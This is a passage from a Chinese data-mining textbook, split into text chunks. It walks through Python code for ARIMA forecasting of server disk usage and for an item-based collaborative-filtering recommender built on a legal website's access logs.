·根据用户需求设置不同的预警等级，将预测值与容量值进行比较，对其结果进行预警判断，为系统管理员提供定制化的预警提示。 表11-1 性能说明表 表11-2 磁盘原始数据集 数据详见：demo/data/discdata.xls"},
    {"text": "由此可知，在不考虑人为因素的影响时，存储空间随时间变化存在很强的关联性，且历史数据对未来的发展存在一定的影响，故本案例可采用时间序列分析法对磁盘已使用空间进行预测分析。 采用时间序列分析法分析磁盘性能数据，预测未来的磁盘使用空间的情况，其挖掘建模的总体流程如图11-3所示。"},
    {"text": "3）采用时间序列分析法对建模数据进行模型的构建，利用模型预测服务器磁盘已使用情况。 4）应用模型预测服务器磁盘将要使用情况，通过预测到的磁盘使用大小与磁盘容量大小按照定制化标准进行判断，将结果反馈给系统管理员，提示管理员需要注意磁盘的使用情况。"},
    {"text": "11.2.1 数据抽取 磁盘使用情况的数据都存放在性能数据中，而监控采集的性能数据中存在大量的其他属性数据。 为了抽取出磁盘数据，以属性的标识号（TARGET_ID）与采集指标的时间（COLLECTTIME）为条件，对性能数据进行抽取。"},
    {"text": "针对服务器磁盘已使用大小，以天为单位，进行周期性分析，其时序图如图11-4和图11-5所示。 图11-4 C盘已使用空间的时序图 图11-5 D盘已使用空间的时序图 由图11-4和图11-5可以得知，磁盘的使用情况都不具备有周期性，它们表现出缓慢性增长，呈现趋势性。"},
    {"text": "11.2.3 数据预处理 1.数据清洗 在实际的业务中，监控系统会每天定时对磁盘的信息进行收集，但是一般情况下，磁盘容量属性都是一个定值（不考虑中途扩容的情况），因此磁盘原始数据中会存在磁盘容量的重复数据。 在数据清洗过程中，剔除磁盘容量的重复数据，并且将所有服务器的磁盘容量作为一个固定值，方便模型预警，磁盘容量表见表11-3。 表11-3 磁盘容量表 2.属性构造 经过数据清洗后的磁盘数据见表11-4，其中磁盘相关属性以记录的形式存在数据中，其单位为KB。"},
    {"text": "因为每台服务器的磁盘信息可以通过表中NAME、TARGET_ID、ENTITY三个属性进行区分，且每台服务器的上述三个属性值是不变的，所以可以将三个属性的值合并，构造新的属性，如表11-5所示。"},
    {"text": "代码清单11-1 属性变换代码 #-*- coding: utf-8 -*- # 属性变换 import pandas as pd # 参数初始化 discfile = '../data/discdata.xls' # 磁盘原始数据 transformeddata = '../tmp/discdata_processed.xls' # 变换后的数据 data = pd.read_excel(discfile) data = data[data['TARGET_ID'] == 184].copy() # 只保留 TARGET_ID 为 184 的数据 data_group = data.groupby('COLLECTTIME') # 以时间分组 def attr_trans(x): # 定义属性变换函数 result = pd.Series(index = ['SYS_NAME', 'CWXT_DB:184:C:\\\\', 'CWXT_DB:184:D:\\\\', 'COLLECTTIME']) result['SYS_NAME'] = x['SYS_NAME'].iloc[0] result['COLLECTTIME'] = x['COLLECTTIME'].iloc[0] result['CWXT_DB:184:C:\\\\'] = x['VALUE'].iloc[0] result['CWXT_DB:184:D:\\\\'] = x['VALUE'].iloc[1] return result data_processed = data_group.apply(attr_trans) # 逐组处理 data_processed.to_excel(transformeddata, index = False) 代码详见：demo/code/attribute_transform.py 11.2.4 模型构建 为了方便对模型进行评价，将经过数据预处理后的建模数据划分两部分。"},
    {"text": "本章采用单位根检验（ADF）的方法或者时序图的方法进行平稳性检验，其检验的结果见表11-6，时序图的方法见11.2.2小节数据探索分析。"},
    {"text": "代码清单11-2 平稳性检验代码 #-*- coding: utf-8 -*- # 平稳性检验 import pandas as pd # 参数初始化 discfile = '../data/discdata_processed.xls' data = pd.read_excel(discfile) data = data.iloc[: len(data)-5] # 不使用最后 5 个数据 # 平稳性检测 from statsmodels.tsa.stattools import adfuller as ADF diff = 0 adf = ADF(data['CWXT_DB:184:D:\\\\']) while adf[1] >= 0.05: # adf[1] 为 p 值， p 值小于 0.05 认为是平稳的。 diff = diff + 1 adf = ADF(data['CWXT_DB:184:D:\\\\'].diff(diff).dropna()) print(u' 原始序列经过 %s 阶差分后归于平稳， p 值为 %s' %(diff, adf[1])) 代码详见：demo/code/stationarity_test.py 2） 白噪声检验： 为了验证序列中有用的信息是否已被提取完毕，需要对序列进行白噪声检验。"},
    {"text": "代码清单11-3 白噪声检验代码 #-*- coding: utf-8 -*- # 白噪声检验 import pandas as pd # 参数初始化 discfile = '../data/discdata_processed.xls' data = pd.read_excel(discfile) data = data.iloc[: len(data)-5] # 不使用最后 5 个数据 # 白噪声检测 from statsmodels.stats.diagnostic import acorr_ljungbox [[lb], [p]] = acorr_ljungbox(data['CWXT_DB:184:D:\\\\'], lags = 1) if p < 0.05: print(u' 原始序列为非白噪声序列，对应的 p 值为： %s' %p) else: print(u' 原始该序列为白噪声序列，对应的 p 值为： %s' %p) [[lb], [p]] = acorr_ljungbox(data['CWXT_DB:184:D:\\\\'].diff().dropna(), lags = 1) if p < 0.05: print(u' 一阶差分序列为非白噪声序列，对应的 p 值为： %s' %p) else: print(u' 一阶差分该序列为白噪声序列，对应的 p 值为： %s' %p) 代码详见：demo/code/whitenoise_test.py 3） 模型识别： 采用极大似然比方法进行模型的参数估计，估计各个参数的值。"},
    {"text": "代码清单11-4 模型识别代码 #-*- coding: utf-8 -*- # 确定最佳 p 、 d 、 q 值 import pandas as pd # 参数初始化 discfile = '../data/discdata_processed.xls' data = pd.read_excel(discfile, index_col = 'COLLECTTIME') data = data.iloc[: len(data)-5] # 不使用最后 5 个数据 xdata = data['CWXT_DB:184:D:\\\\'] from statsmodels.tsa.arima_model import ARIMA # 定阶 pmax = int(len(xdata)/10) # 一般阶数不超过 length/10 qmax = int(len(xdata)/10) # 一般阶数不超过 length/10 bic_matrix = [] #bic 矩阵 for p in range(pmax+1): tmp = [] for q in range(qmax+1): try: # 存在部分报错，所以用 try 来跳过报错 tmp.append(ARIMA(xdata, (p,1,q)).fit().bic) except: tmp.append(None) bic_matrix.append(tmp) bic_matrix = pd.DataFrame(bic_matrix) # 从中可以找出最小值 p,q = bic_matrix.stack().idxmin() # 先用 stack 展平，然后用 idxmin 找出最小值位置 print(u'BIC 最小的 p 值和 q 值为： %s 、 %s' %(p,q)) 代码详见：demo/code/find_optimal_pq.py 4） 模型检验： 模型确定后，检验其残差序列是否为白噪声。"},
    {"text": "代码清单11-5 模型检验代码 #-*- coding: utf-8 -*- # 模型检验 import pandas as pd # 参数初始化 discfile = '../data/discdata_processed.xls' lagnum = 12 # 残差延迟个数 data = pd.read_excel(discfile, index_col = 'COLLECTTIME') data = data.iloc[: len(data)-5] # 不使用最后 5 个数据 xdata = data['CWXT_DB:184:D:\\\\'] from statsmodels.tsa.arima_model import ARIMA # 建立 ARIMA(0,1,1) 模型 arima = ARIMA(xdata, (0, 1, 1)).fit() # 建立并训练模型 xdata_pred = arima.predict(typ = 'levels') # 预测 pred_error = (xdata_pred - xdata).dropna() # 计算残差 from statsmodels.stats.diagnostic import acorr_ljungbox # 白噪声检验 lb, p= acorr_ljungbox(pred_error, lags = lagnum) h = (p < 0.05).sum() #p 值小于 0.05 ，认为是非白噪声。 if h > 0: print(u' 模型 ARIMA(0,1,1) 不符合白噪声检验 ') else: print(u' 模型 ARIMA(0,1,1) 符合白噪声检验 ') 代码详见：demo/code/arima_model_check.py 5） 模型预测： 应用通过检验的模型进行预测，获取未来5天的预测值，并且与实际值作比较，也就是我们在建模型的时候所忽略的最后5个数据。"},
    {"text": "表11-9 预测结果 2.模型评价 为了评价时序预测模型效果的好坏，本章采用3个衡量模型预测精度的统计量指标：平均绝对误差、均方根误差和平均绝对百分误差。"},
    {"text": "代码清单11-6 模型评价代码 #-*- coding: utf-8 -*- # 计算预测误差 import pandas as pd # 参数初始化 file = '../data/predictdata.xls' data = pd.read_excel(file) # 计算误差 abs_ = (data[u' 预测值 '] - data[u' 实际值 ']).abs() mae_ = abs_.mean() # mae rmse_ = ((abs_**2).mean())**0.5 # rmse mape_ = (abs_/data[u' 实际值 ']).mean() # mape print(u' 平均绝对误差为： %0.4f ， \\n 均方根误差为： %0.4f ， \\n 平均绝对百分误差为： %0.6f 。 ' %(mae_, rmse_, mape_)) 代码详见：demo/code/cal_errors.py 结合实际业务分析，将误差阈值设定为1.5。"},
    {"text": "3）将预处理后的定时数据存放到模型的初始数据中，获得模型的输入数据，调用模型对服务器磁盘已使用空间进行预测，预测后5天的磁盘已使用空间大小。"},
    {"text": "图11-7 预警流程图 其中，预警等级的设定需要结合实际应用，根据业务的应用一般设置的阈值见表11-11，也可以根据管理员要求进行相应的调整，调整使用率的阈值即可。"},
    {"text": "如果预测值达到预警等级以上，可以发布预警信息，其示例见表11-12，提示管理员注意，需要清理磁盘或者准备扩容，保证应用系统的健康运行。"},
    {"text": "11.3 上机实验 1.实验目的 ·了解时间序列算法的用法以及利用时间序列算法构建预测模型的流程。 ·掌握Python实现时间序列算法的检验及预测的过程，以及模型的误差分析。 2.实验内容 通过服务器的历史磁盘数据，根据时间序列算法模型的流程，预测未来磁盘的使用情况。为了方便对模型进行误差分析，将服务器的磁盘数据划分为模型输入数据与模型验证数据。采用时间序列算法对模型输入数据进行模型拟合、检验与预测。依据误差公式，计算预测值与验证数据之间的误差，分析其是否属于业务接受的范围内。 ·采用Pandas读取数据文件，按照划分规则将数据划分为两个部分，并将其保存。 ·调用StatsModels内置函数，编写代码实现本例模型构建的流程。对模型输入数据进行平稳性检验和差分，记录差分阶数。采用BIC准则确定模型的参数，依据各个参数构建时序模型，并对模型进行相关的检验。 ·采用通过检验的模型进行预测，比较预测值与验证数据的大小，计算其误差。利用误差公式，编写代码并分析误差是否处于业务接受的范围内。 3.实验方法与步骤 1）打开Python并引入Pandas库，使用read_excel（）函数将数据文件读入Python工作空间中，选择要进行时序预测的磁盘数据，截取最后5条数据为验证数据，其他数据为模型输入数据。 2）确定ARIMA模型的D参数，即差分阶数。使用adfuller（）函数确定输入数据是否平稳化，如果不平稳，则进行使用diff（）函数进行差分，记录差分的阶数；否则D值为0，并直接进行下一步。 3）确定ARIMA模型的p、q参数。p、q参数的取值范围为[0，N/10]，选择不同的p、q值，计算输入数据的BIC值。当BIC值取最小值时，p、q值即是所求。 4）使用ARIMA函数以及前面得到的p、D、q构建ARIMA模型，使用summary（）函数确定模型的其他参数，使用acorr_ljungbox（）函数计算模型残差白噪声。检验其是否通过白噪声检验，如果不通过则返回步骤3）去掉上一步的p、q组合重新进行计算；如果通过则进行下一步。 5）使用forecast（）函数进行时序预测，并把实际值和预测值进行对比，计算其误差。 4.思考与实验总结 1）用其他的方法进行平稳性检验，如游程检验、自相关系数分析等。 2）采用其他的方法进行模型定阶，确定p与q的参数值。 11.4 拓展思考 监控不仅能够获取软、硬件的性能数据，同时也能检测到软硬件的日志事件，并通过告警的方式提示用户。在监控的告警表中存在很多类别的告警，其中服务器类的告警包含：CPU告警、内存告警、磁盘告警；数据库类的告警包含：日志告警、表空间告警；网络类型的告警包含：Ping告警、Telnet告警，以及应用系统类别的告警。一旦应用系统发生故障，会影响整个公司的利润。因此，管理员在维护系统的过程中，必须特别关注应用系统类别的告警。但是在监控收集性能以及事件的过程中，有时会存在信息收集有误的情况，因此各类型告警会出现误告。（注：应用系统发生误告时系统实际处于正常阶段） 根据每天的各种类型的告警数，通过相关性判断哪些类型告警与应用系统真正故障有关，其原始数据见表11-13。通过相关类型的告警，预测明后两天的告警数。针对历史的告警数与应用系统的关系，判断系统未来是否发生故障。首先通过时序算法预测未来相关类型的告警数，然后采用分类预测算法对预测值进行判断，判断系统未来是否发生故障。（针对原始数据可以选择一部分数据进行时序预测。） 表11-13 系统告警原始数据 数据详见：拓展思考/拓展思考样本数据.xls 11.5 小结 本章结合应用系统磁盘容量预测的案例，重点介绍了数据挖掘算法中时间序列分析法在实际案例中的应用，并详细地描述了系统磁盘容量预测数据挖掘以及时间序列分析建模的整个过程。同时对相应的算法以及整个数据挖掘流程给出了Python上机实验。"},
    {"text": "第12章 电子商务网站用户行为分析及服务推荐 12.1 背景与挖掘目标 随着互联网和信息技术的快速发展，电子商务、网上服务与交易等网络业务越来越普及，大量的信息聚集起来，形成海量信息。用户想要从海量信息中快速准确地寻找到自己感兴趣的信息已经变得越来越困难，在电子商务领域这点显得更加突出。因此，信息过载的问题已经成为互联网技术中的一个重要难题。为了解决这个问题，搜索引擎诞生了，例如Google、百度等。搜索引擎在一定程度上缓解了信息过载问题，用户通过输入关键词，搜索引擎就会返回给用户与输入的关键词相关的信息。但是搜索引擎无法解决用户的很多其他需求，例如用户想找到准确描述自己需求的关键词时，搜索引擎就无能为力了。 与搜索引擎不同，推荐系统并不需要用户提供明确的需求，而是通过分析用户的历史行为，从而主动向用户推荐能够满足他们兴趣和需求的信息。因此，对于用户而言，推荐系统和搜索引擎是两个互补的工具。搜索引擎满足有明确目标用户的需求，而推荐系统能够帮助用户发现其感兴趣的内容。因此，在电子商务领域中推荐技术可以起到以下作用：1）帮助用户发现其感兴趣的物品，节省用户时间、提升用户体验。2）提高用户对电子商务网站的忠诚度，如果推荐系统能够准确地发现用户的兴趣点，并将合适的资源推荐给用户，用户就会对该电子商务网站产生依赖，从而建立稳定的企业忠实顾客群。 本例主要的研究对象是北京某家法律网站，它是一家电子商务类的大型法律资讯网站，致力于为用户提供丰富的法律信息与专业咨询服务，并为律师与律师事务所提供卓有成效的互联网整合营销解决方案。随着其网站访问量增大，数据信息量也在大幅增长。用户在面对大量信息时无法及时从中获得自己需要的信息，对信息的使用效率越来越低。这种浏览大量无关信息的过程，使用户需要花费大量的时间才能找到自己需要的信息，从而使得用户不断流失，给企业造成巨大的损失。为了能够更好地满足用户需求，依据其网站海量的数据，研究用户的兴趣偏好，分析用户的需求和行为，发现用户的兴趣点，从而引导用户发现自己的信息需求，将长尾网页准确地推荐给所需用户，帮助用户发现他们感兴趣但很难发现的网页信息。为用户提供个性化的服务，并且建立网站与用户之间的密切关系，让用户对推荐系统产生依赖，从而建立稳定的企业忠实顾客群，实现客户链式反应增值，提高消费者满意度。通过提高服务效率帮助消费者节约交易成本等，制定有针对性的营销战略方针，促进企业长期稳定高速发展。 目前网站上已经存在部分推荐，例如，当访问主页时，可以在婚姻栏目发现如下热点推荐，如图12-1所示。当访问具体的知识页面时，可以在页面的右边以及下面发现一些热点推荐和基于内容的关键字推荐，如图12-2所示。 图12-1 主页热点推荐 图12-2 婚姻知识目前的推荐 当用户访问网站页面时，系统会记录用户访问网站的日志，其访问的数据记录见表12-2，其中记录了用户IP（已做数据脱敏处理）、用户访问的时间、访问内容等多项属性的记录，并针对其中的各个属性进行说明，见表12-1。 表12-1 访问记录属性表 依据所提供的原始数据，试着分析如下目标。 ·按地域研究用户访问时间、访问内容和访问次数等分析主题，深入了解用户对访问网站的行为和目的及关心的内容。 ·借助大量的用户的访问记录，发现用户的访问行为习惯，对不同需求的用户进行相关的服务页面的推荐。"},
    {"text": "为了更好地帮助用户从海量的数据中快速发现感兴趣的网页，在目前相对单一的推荐系统上进行补充，采用协同过滤算法进行推荐，其推荐原理如图12-3所示。"},
    {"text": "①数据量太大意味着物品数与用户数很多，在模型构建用户与物品的稀疏矩阵时，出现设备内存空间不够的情况，并且模型计算需要消耗大量的时间。"},
    {"text": "因此，本文根据用户浏览的网页信息进行分类处理，主要采用以下方法处理：以用户浏览网页的类型进行分类，然后对每个类型中的内容进行推荐。"},
    {"text": "表12-2 用户访问记录表 数据详见：demo/data/7law.sql 图12-3 推荐系统原理图 图12-4 数据处理分析图 采用上述的分析方法与思路，结合本例的原始数据以及分析目标，可获得整个分析的流程图，如图12-5所示。"},
    {"text": "12.2.1 数据抽取 因为本例是以协同过滤算法为主导，其他的推荐算法为辅，而协同过滤算法的特性就是通过历史数据找出相似的用户或者网页。"},
    {"text": "因此，在数据抽取的过程中，尽可能选择大量的数据，这样就能降低推荐结果的随机性，提高推荐结果的准确性，能更好地发掘长尾网页中用户感兴趣的网页。"},
    {"text": "每个地区的用户访问习惯以及兴趣爱好存在差异性，本例抽取广州地区的用户访问数据进行分析，其数据量总计有837450条记录，其中包括用户号、访问时间、来源网站、访问页面、页面标题、来源网页、标签、网页类别和关键词等属性。"},
    {"text": "虽然837450条记录对于当今科学的“大数据”的概念而言，并不是特别大的数据量，但是这个数据量对于配置比较低的电脑（尤其是笔记本电脑）还是颇有压力的。"},
    {"text": "而在Python中，Pandas库本身可以利用read_sql（）函数来读取数据库，但是它依赖于SQLAlchemy库，而SQLAlchemy又依赖于PyMySQL，所以需要先安装SQLAlchemy再安装SQLAlchemy，这样就可以用Pandas对数据库中的数据进行快速而便捷的分析工作了。"},
    {"text": "代码清单12-1 Python访问数据库 import pandas as pd from sqlalchemy import create_engine engine = create_engine('mysql+pymysql://root:123456@127.0.0.1:3306/test?charset= utf8') sql = pd.read_sql('all_gzdata', engine, chunksize = 10000) ''' 用 create_engine 建立连接，连接地址的意思依次为“数据库格式（ mysql ） + 程序名（ pymysql ） + 账号密 码 @ 地址端口 / 数据库名（ test ）”，最后指定编码为 utf8 ；"},
    {"text": "''' 代码详见：demo/code/sql_value_counts.py 12.2.2 数据探索分析 对原始数据中的网页类型、点击次数和网页排名等各个维度进行分布分析，获得其内在的规律。"},
    {"text": "1.网页类型分析 作为第一步，我们针对原始数据中用户点击的网页类型进行统计，网页类型是指“网址类型”中的前3位数字（它本身有6/7位数字）。"},
    {"text": "代码清单12-2 Python访问数据库并进行分块统计（接代码清单12-1） counts = [ i['fullURLId'].value_counts() for i in sql] # 逐块统计 counts = pd.concat(counts).groupby(level=0).sum() # 合并统计结果，把相同的统计项合并（即 按 index 分组并求和） counts = counts.reset_index() # 重新设置 index ，将原来的 index 作为 counts 的一列。 counts.columns = ['index', 'num'] # 重新设置列名，主要是第二列，默认为 0 counts['type'] = counts['index'].str.extract('(\\d{3})') # 提取前三个数字作为类别 id counts_ = counts[['type', 'num']].groupby('type').sum() # 按类别合并 counts_.sort('num', ascending = False) # 降序排列 代码详见：demo/code/sql_value_counts.py 结果见表12-3，从中发现点击与咨询相关（网页类型为101， http://www.****.com/ask/ ）的记录占了49.16%，其次是其他的类型（网页类型为199）占比24%左右，然后是知识相关（网页类型为107， http://www.****.com/info/ ）占比22%左右。"},
    {"text": "表12-3 网页类型统计 因此，可以得到用户点击的页面类型的排行榜为：咨询相关、知识相关、其他方面的网页、法规（类型为301）、律师相关（类型为102）。"},
    {"text": "结合上述初步结论，可以得出用户都喜欢通过浏览问题的方式找到自己需要的信息，而不是以提问的方式或者查看长篇的知识的方式得到所需信息。"},
    {"text": "表12-4 咨询类别内部统计 统计分析知识类型内部的点击情况，因知识类型中只有一种类型（107001），所以利用网址对其进行分类，获得知识内容页（ http://www.****.com/info/*/ 数字.html，其中数字部分可能带有下划线_）以及知识首页（ http://www.****.com/info/*/ ）和知识列表页（ http://www.****.com/info/*.html ，是除了知识内容页外的html页面）的分布情况，其结果见表12-5。"},
    {"text": "代码清单12-3 Python访问数据库并进行分块统计（接代码清单12-2） # 统计 107 类别的情况 def count107(i): # 自定义统计函数 j = i[['fullURL']][i['fullURLId'].str.contains('107')].copy() # 找出类别包含 107 的网址 j['type'] = None # 添加空列 j['type'][j['fullURL'].str.contains('info/.+?/')] = u' 知识首页 ' j['type'][j['fullURL'].str.contains('info/.+?/.+?')] = u' 知识列表页 ' j['type'][j['fullURL'].str.contains('/\\d+?_*\\d+?\\.html')] = u' 知识内容页 ' return j['type'].value_counts() counts2 = [count107(i) for i in sql] # 逐块统计 counts2 = pd.concat(counts2).groupby(level=0).sum() # 合并统计结果 分析其他（199）页面的情况，其中网址中带有“？"},
    {"text": "· http://www.****.com/ask/ask.php 。 · http://www.****.com/ask/midques_10549897.html 中间类型网页。 · http://www.****.com/ask/exp/4317.html 咨询经验。 · http://www.****.com/ask/online/138.html 在线咨询页。"},
    {"text": "表12-6 带问号字符网址类型统计表 表12-7 其他类型统计表 通过统计分析结果见表12-7，在1999001类型中，标题为快车-律师助手的这类信息占比77%，通过对业务了解，这是律师的一个登录页面。"},
    {"text": "其他类型中的大部分为“ http://www.****.com/ask/question_9152354.html?&from=androidqq ”，这种类型的网页是被分享过的，可以对其进行处理，截取“？"},
    {"text": "网址中不包含主网址、不包含关键字的网址有101条记录，类似的网址为：“ http://www.baidu.com/link?url=O7iBD2KmoJdkHWTZHagDXrxfBFM0AwLmpid12j2d_aejNfq6bwSBeqT-1Ov2jWOFMpIt5XUpXGmNiLDlGg0rMCwstskhB5ftAYtO2_voEnu ”。"},
    {"text": "在查看数据的过程中，发现存在这样一部分的用户，他们没有单击具体的网页（以.html后缀结尾），他们单击的大部分是目录网页，这样的用户可以称为“瞎逛”，总计有7668条记录。"},
    {"text": "上述过程就是对网址类型进行统计得到的分析结果，针对网页的点击次数也进行下述分析。 2.点击次数分析 统计分析原始数据用户浏览网页次数（以“真实IP”区分）的情况，其结果见表12-9，可以从表中发现浏览一次的用户占所有用户总量的58%左右，大部分用户浏览的次数在2~7次，用户浏览的平均次数是3次。"},
    {"text": "代码清单12-4 Python访问数据库并进行分块统计（接代码清单12-3） # 统计点击次数 c = [i['realIP'].value_counts() for i in sql] # 分块统计各个 IP 的出现次数 count3 = pd.concat(c).groupby(level = 0).sum() # 合并统计结果， level=0 表示按 index 分组 count3 = pd.DataFrame(count3) #Series 转为 DataFrame count3[1] = 1 # 添加一列，全为 1 count3.groupby(0).sum() # 统计各个“不同的点击次数”分别出现的次数 从上表中可以看出大约80%的用户（不超过3次）只提供了大约30%的浏览量（几乎满足二八定律）。"},
    {"text": "表12-10是对浏览次数达到7次以上的情况进行的分析，可以从中看出大部分用户浏览8到100次。 表12-10 浏览7以上的用户分析表 针对浏览次数为一次的用户进行分析，其结果如表12-11所示。"},
    {"text": "表12-12 点击一次用户浏览网页统计 3.网页排名 由分析目标可知，个性化推荐主要针对以html为后缀的网页（与物品的概念类似）。 从原始数据中统计以html为后缀的网页的点击率，其点击率排名的结果见表12-13。"},
    {"text": "其中，知识页面相对咨询的页面要少很多，当大量的用户在浏览咨询页面时，呈现一种比较分散的浏览次数，即其各个页面点击率不高，但是其总的浏览量高于知识。"},
    {"text": "表12-13 点击率排名表 表12-14 类型点击数 从原始html的点击率排行榜中可以发现如下情况，排行榜中存在这样两种类似的网址“ http://www.****.com/info/hunyin/lhlawlhxy/20110707137693_2.html ”和“ http://www.****.com/info/hunyin/lhlawlhxy/20110707137693.html ”。"},
    {"text": "因此，在用户访问网址的数据中存在这些翻页的情况，针对这些翻页的网页进行统计，结果见表12-15。 表12-15 翻页网页统计表 通过了解业务，同一网页中登录次数最多都是从外部搜索引擎直接搜索到的网页。"},
    {"text": "图12-6 数据处理流程图 1.数据清洗 从探索分析的过程中发现与分析目标无关的数据，归纳总结其数据满足如下规则：中间页面的网址、咨询发布成功页面、律师登录助手的页面等。"},
    {"text": "表12-16 规则清洗表 经过上述数据清洗后的记录中仍然存在大量的目录网页（可理解为用户浏览信息的路径），在进入推荐系统时，这些信息的作用不大，反而会影响推荐的结果，因此需要进一步筛选以html为后缀的网页。"},
    {"text": "代码清单12-5 Python访问MariaDB（MySQL）数据库进行清洗操作 import pandas as pd from sqlalchemy import create_engine engine = create_engine('mysql+pymysql://root:123456@127.0.0.1:3306/test?charset=utf8') sql = pd.read_sql('all_gzdata', engine, chunksize = 10000) for i in sql: d = i[['realIP', 'fullURL']] # 只要网址列 d = d[d['fullURL'].str.contains('\\.html')].copy() # 只要含有 .html 的网址 # 保存到数据库的 cleaned_gzdata 表中（如果表不存在则自动创建） d.to_sql('cleaned_gzdata', engine, index = False, if_exists = 'append') 代码详见：demo/code/sql_clean_save.py 2.数据变换 由于在用户访问知识的过程中，存在翻页的情况，不同的网址属于同一类型的网页，见表12-17。"},
    {"text": "但是，用户访问页面是通过搜索引擎进入网站的，所以其入口网页不一定是其原始类别的首页，采用删除的方法会损失大量的有用数据，在进入推荐系统时，会影响推荐结果。"},
    {"text": "因此，针对这些网页需要还原其原始类别，处理方式为首先识别翻页的网址，然后对翻页的网址进行还原，最后针对每个用户访问的页面进行去重操作，其操作结果见表12-18。"},
    {"text": "代码清单12-6 Python访问MariaDB（MySQL）数据库进行数据变换 import pandas as pd from sqlalchemy import create_engine engine = create_engine('mysql+pymysql://root:123456@127.0.0.1:3306/test?charset=utf8') sql = pd.read_sql('cleaned_gzdata', engine, chunksize = 10000) for i in sql: # 逐块变换并去重 d = i.copy() d['fullURL'] = d['fullURL'].str.replace('_\\d{0,2}.html', '.html') # 将下划线后面部 分去掉，规范为标准网址 d = d.drop_duplicates() # 删除重复记录 d.to_sql('changed_gzdata', engine, index = False, if_exists = 'append') # 保存 代码详见：demo/code/sql_data_change.py 由于在探索阶段发现有部分网页的所属类别是错误的，需对其数据进行网址分类，且分析目标是分析咨询类别与知识类别，因此需对这些网址进行手动分类，其分类的规则和结果见表12-19，其中对网址中包含“ask”、“askzt”关键字的记录人为归类至咨询类别，对网址中包含“zhishi”、“faguizt”关键字的网址归类为知识类别。"},
    {"text": "表12-19 网页类别规则 因为目标是需要为用户提供个性化的推荐，在处理数据的过程中需要进一步对数据进行分类，其分类方法如图12-7所示，图中知识部分是由很多小的类别组成。"},
    {"text": "代码清单12-7 Python访问MariaDB（MySQL）数据库进行网址分类 import pandas as pd from sqlalchemy import create_engine engine = create_engine('mysql+pymysql://root:123456@127.0.0.1:3306/test?charset=utf8') sql = pd.read_sql('changed_gzdata', engine, chunksize = 10000) for i in sql: # 逐块变换并去重 d = i.copy() d['type_1'] = d['fullURL'] # 复制一列 d['type_1'][d['fullURL'].str.contains('(ask)|(askzt)')] = 'zixun' # 将含有 ask 、 askzt 关键字的网址的类别一归为咨询（后面的规则就不详细列出来了，实际问题自己添加即可） d.to_sql('splited_gzdata', engine, index = False, if_exists = 'append') # 保存 代码详见：demo/code/sql_data_split.py 统计分析每一类中的记录，以知识类别中的婚姻法为例进行统计分析见表12-22。"},
    {"text": "可见其网页的点击率基本满足二八定律，即80%的网页只占了浏览量的20%左右，通过这个规则，按点击行为进行分类，20%的网页是热点网页，其他80%的页面属于点击次数少的。"},
    {"text": "为了实现较好的推荐效果，大部分都结合多种推荐方法将推荐结果进行组合，最后得出推荐结果，在组合推荐结果时，可以采用串行或者并行的方法。"},
    {"text": "图12-8 推荐系统流程图 针对此项目的实际情况，其分析目标的特点为：长尾网页丰富、用户个性化需求强烈以及推荐结果的实时变化，以及结合原始数据的特点：网页数明显小于用户数。"},
    {"text": "基于用户和基于物品的协同过滤算法的区别在于：基于用户的协同过滤回答的是“将物品A推荐给哪个用户？ ”（假设答案是用户B），基于物品的协同过滤回答的是“将哪个物品推荐给用户B？"},
    {"text": "而在数学上，两者的区别是在输入的用户-物品评分矩阵中，要不要进行转置，换句话说，只要对用户-物品评分矩阵进行转置，就可以将基于用户和基于物品的协同过滤相互转换。"},
    {"text": "） 基于物品的协同过滤系统的一般处理过程：分析用户与物品的数据集，通过用户对项目的浏览与否（喜好）找到相似的物品，然后根据用户的历史喜好，推荐相似的项目给目标用户。 图12-9是基于物品的协同过滤推荐系统图 [2] ，从图中可知用户A喜欢物品A和物品C，用户B喜欢物品A、物品B和物品C，用户C喜欢物品A。 从这些用户的历史喜好可以分析出物品A和物品C是比较类似的，喜欢物品A的人都喜欢物品C，基于这个数据可以推断用户C很有可能也喜欢物品C，所以系统会将物品C推荐给用户C。 图12-9 基于物品的推荐系统原理图 根据上述处理过程可知，基于物品的协同过滤算法主要分为两步。"},
    {"text": "将用户对某一个物品的喜好或者评分作为一个向量，例如所有用户对物品1的评分或者喜好程度表示为A 1 ＝（x 11 ，x 21 ，x 31 ，…x n1 ），所有用户对物品M的评分或者喜好程度表示为A M ＝（x 1m ，x 2m ，x 3m ，…x nm ），其中m为物品，n为用户数。"},
    {"text": "在本例中，原始数据只记录了用户访问网站的浏览行为，因此用户的行为是浏览网页与否，并没有进行类似电子商务网站上的购买、评分和评论等用户行为。"},
    {"text": "采用公式P＝SIM×R，度量了推荐算法中用户对所有物品的感兴趣程度。 其中，R代表用户对物品的兴趣，SIM代表所有物品之间的相似度，P为用户对物品感兴趣的程度。"},
    {"text": "表12-25 相似度矩阵 由于推荐系统是根据物品的相似度以及用户的历史行为对用户的兴趣度进行预测并推荐，因此在评价模型的时候需要用到一些评测指标。"},
    {"text": "代码清单12-8 Python实现协同过滤算法 import numpy as np def Jaccard(a, b): # 自定义杰卡德相似系数函数，仅对 0-1 矩阵有效 return 1.0*(a*b).sum()/(a+b-a*b).sum() class Recommender(): sim = None # 相似度矩阵 def similarity(self, x, distance): # 计算相似度矩阵的函数 y = np.ones((len(x), len(x))) for i in range(len(x)): for j in range(len(x)): y[i,j] = distance(x[i], x[j]) return y def fit(self, x, distance = Jaccard): # 训练函数 self.sim = self.similarity(x, distance) def recommend(self, a): # 推荐函数 return np.dot(self.sim, a)*(1-a) 代码详见：demo/code/Recommender.py 本例采用随机打乱数据的方法完成模型的评测，具体方法为：首先用随机函数打乱原始数据的顺序（用random库的shuffle（）函数可以轻松做到），然后将用户行为数据集按照均匀分布随机分成M份（本例取M＝10），挑选一份作为测试集，将剩下的M-1份作为训练集。"},
    {"text": "为了保证评测指标并不是过拟合的结果，需要进行多次重复，由于开始时的随机函数打乱顺序保证了测试的随机性，因此，仅需要少数几次试验，就可以得出比较稳定可靠的评测结果，最后将实验测出的评测指标的平均值作为最终的评测指标。"},
    {"text": "图12-10 基于物品协同过滤建模流程图 表12-26 模型数据统计表 由于在实际数据中，物品数目过多，建立的用户物品矩阵与物品相似度矩阵是一个很庞大的矩阵。"},
    {"text": "因此，在用户物品矩阵的基础上采用杰卡德相似系数的方法，计算出物品相似度矩阵。 通过物品相似矩阵与测试集的用户行为，计算用户的兴趣度，获得推荐结果，进而计算出各种评价指标。"},
